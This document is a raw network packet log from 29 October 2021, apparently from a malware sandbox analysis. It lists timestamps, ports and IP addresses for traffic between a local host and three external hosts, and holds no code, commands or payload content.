Oct 29, 2021 15:31:26.837977886 CEST	49844	28978	192.168.2.7	93.115.20.139
Oct 29, 2021 15:31:26.838033915 CEST	49844	28978	192.168.2.7	93.115.20.139
Oct 29, 2021 15:31:26.838077068 CEST	49844	28978	192.168.2.7	93.115.20.139
Oct 29, 2021 15:31:26.862780094 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:26.862828970 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:26.862890005 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:26.863553047 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:26.863784075 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:26.864346981 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:26.864841938 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:26.865016937 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:26.865339994 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:26.865915060 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:26.866298914 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:26.866974115 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:26.867372036 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:26.867892981 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:26.927970886 CEST	49844	28978	192.168.2.7	93.115.20.139
Oct 29, 2021 15:31:26.928086042 CEST	49844	28978	192.168.2.7	93.115.20.139
Oct 29, 2021 15:31:26.928105116 CEST	49844	28978	192.168.2.7	93.115.20.139
Oct 29, 2021 15:31:26.928158045 CEST	49844	28978	192.168.2.7	93.115.20.139
Oct 29, 2021 15:31:26.928203106 CEST	49844	28978	192.168.2.7	93.115.20.139
Oct 29, 2021 15:31:26.936053038 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:26.936207056 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:26.952483892 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:26.952517986 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:26.952620029 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:26.952879906 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:26.953355074 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:26.953701019 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:26.954065084 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:26.954669952 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:26.954901934 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:26.955020905 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:26.955390930 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:26.955830097 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:26.956228971 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:26.956744909 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:26.957314014 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:26.957706928 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:26.957778931 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:27.135118008 CEST	49844	28978	192.168.2.7	93.115.20.139
Oct 29, 2021 15:31:27.135241985 CEST	49844	28978	192.168.2.7	93.115.20.139
Oct 29, 2021 15:31:27.135267019 CEST	49844	28978	192.168.2.7	93.115.20.139
Oct 29, 2021 15:31:27.135340929 CEST	49844	28978	192.168.2.7	93.115.20.139
Oct 29, 2021 15:31:27.135394096 CEST	49844	28978	192.168.2.7	93.115.20.139
Oct 29, 2021 15:31:27.159718990 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:27.159946918 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:27.160012007 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:27.160561085 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:27.161011934 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:27.161367893 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:27.161672115 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:27.162048101 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:27.162218094 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:27.162377119 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:27.162810087 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:27.163218021 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:27.163702011 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:27.164115906 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:27.164378881 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:27.164896011 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:27.165123940 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:27.240581989 CEST	49844	28978	192.168.2.7	93.115.20.139
Oct 29, 2021 15:31:27.240710020 CEST	49844	28978	192.168.2.7	93.115.20.139
Oct 29, 2021 15:31:27.240721941 CEST	49844	28978	192.168.2.7	93.115.20.139
Oct 29, 2021 15:31:27.265187979 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:27.265225887 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:27.265311003 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:27.265685081 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:27.266169071 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:27.266557932 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:27.267119884 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:27.267636061 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:27.267659903 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:27.273961067 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:27.407757998 CEST	49844	28978	192.168.2.7	93.115.20.139
Oct 29, 2021 15:31:27.432919979 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:27.542006969 CEST	49844	28978	192.168.2.7	93.115.20.139
Oct 29, 2021 15:31:27.566813946 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:27.625406981 CEST	49844	28978	192.168.2.7	93.115.20.139
Oct 29, 2021 15:31:30.209865093 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:30.210019112 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:31.504024029 CEST	49844	28978	192.168.2.7	93.115.20.139
Oct 29, 2021 15:31:40.241800070 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:40.241925001 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:32:00.209868908 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:32:00.210031033 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:32:10.623229027 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:10.669743061 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:10.669944048 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:10.879209995 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:10.882164001 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:10.925684929 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:10.928527117 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:11.327816963 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:11.327851057 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:11.327862978 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:11.327882051 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:11.327898026 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:11.327913046 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:11.327929974 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:11.327943087 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:11.328016996 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:11.328037024 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:11.328206062 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:11.441572905 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:12.274482965 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:12.321006060 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.536799908 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.536834955 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.536859035 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.536875010 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.536892891 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.536910057 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.536926031 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.536978960 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:12.537038088 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.537061930 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:12.537072897 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.537086010 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.537101984 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:12.537142038 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:12.584635019 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.584672928 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.584685087 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.584696054 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.584707022 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.584717989 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.584733963 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.584745884 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.584763050 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.584777117 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.584791899 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.584815979 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.584820032 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:12.584840059 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.584868908 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.584901094 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.584909916 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:12.584927082 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.584937096 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:12.584950924 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.584965944 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.584975004 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:12.584989071 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.585005045 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.585027933 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:12.585052967 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:12.631336927 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.631366014 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.631378889 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.631391048 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.631462097 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.631491899 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:12.631506920 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.631546974 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:12.631589890 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.631608009 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.631659031 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:12.631798983 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.631814957 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.631830931 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.631846905 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.631865978 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:12.631899118 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:12.632199049 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.632270098 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.632292986 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.632308960 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.632318974 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:12.632333994 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.632349014 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.632371902 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:12.632399082 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:12.632416010 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.632431984 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.632447004 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.632477045 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.632488012 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:12.632502079 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.632523060 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:12.632538080 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.632576942 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:12.632626057 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.632641077 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.632657051 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.632672071 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.632679939 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:12.632694960 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.632710934 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.632719040 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:12.632735014 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.632750034 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.632757902 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:12.632772923 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.632791996 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.632797956 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:12.632829905 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:12.632875919 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.632891893 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.632939100 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:12.670861006 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.670896053 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.670922041 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.670947075 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.671014071 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:12.671051979 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:12.677886009 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.677925110 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.677959919 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.677994013 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:12.678014040 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.678055048 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.678066969 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:12.678102970 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.678143978 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.678155899 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:12.678190947 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.678231955 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.678241968 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:12.678277016 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.678318024 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.678328991 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:12.678363085 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.678397894 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.678414106 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:12.678448915 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.678488970 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.678499937 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:12.678534985 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.678569078 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.678585052 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:12.678620100 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.678662062 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.678673029 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:12.678709984 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.678749084 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.678759098 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:12.678793907 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.678833961 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.678843975 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:12.678879023 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.678917885 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.678927898 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:12.678963900 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.679002047 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.679028988 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:12.679065943 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.679106951 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.679116964 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:12.679152012 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.679188967 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.679202080 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:12.679236889 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.679284096 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:12.845880032 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:12.892182112 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.892240047 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.892287970 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.892326117 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.892364979 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.892416000 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:12.892435074 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:12.892481089 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.892518044 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.892534971 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:12.892574072 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.892620087 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.892631054 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:12.892669916 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.892707109 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.892723083 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:12.892759085 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.892802954 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.892813921 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:12.892882109 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.892927885 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.892939091 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:12.892977953 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.893022060 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.893033028 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:12.893070936 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.893111944 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.893121958 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:12.893160105 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.893198967 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.893213034 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:12.893250942 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.893286943 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.893304110 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:12.893342972 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.893381119 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.893399000 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:12.893435955 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.893480062 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.893490076 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:12.893528938 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.893564939 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.893579006 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:12.893616915 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.893655062 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.893671036 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:12.893707991 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.893750906 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.893760920 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:12.893799067 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.893836975 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.893878937 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.893889904 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:12.893923998 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:12.893948078 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.893985033 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.894028902 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:12.894057035 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.894109011 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.894155025 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.894165039 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:12.894202948 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.894246101 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.894256115 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:12.894294024 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.894332886 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.894350052 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:12.894387960 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.894432068 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.894440889 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:12.894479990 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.894521952 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:12.894532919 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:12.941514015 CEST	80	49863	194.180.174.181	192.168.2.7
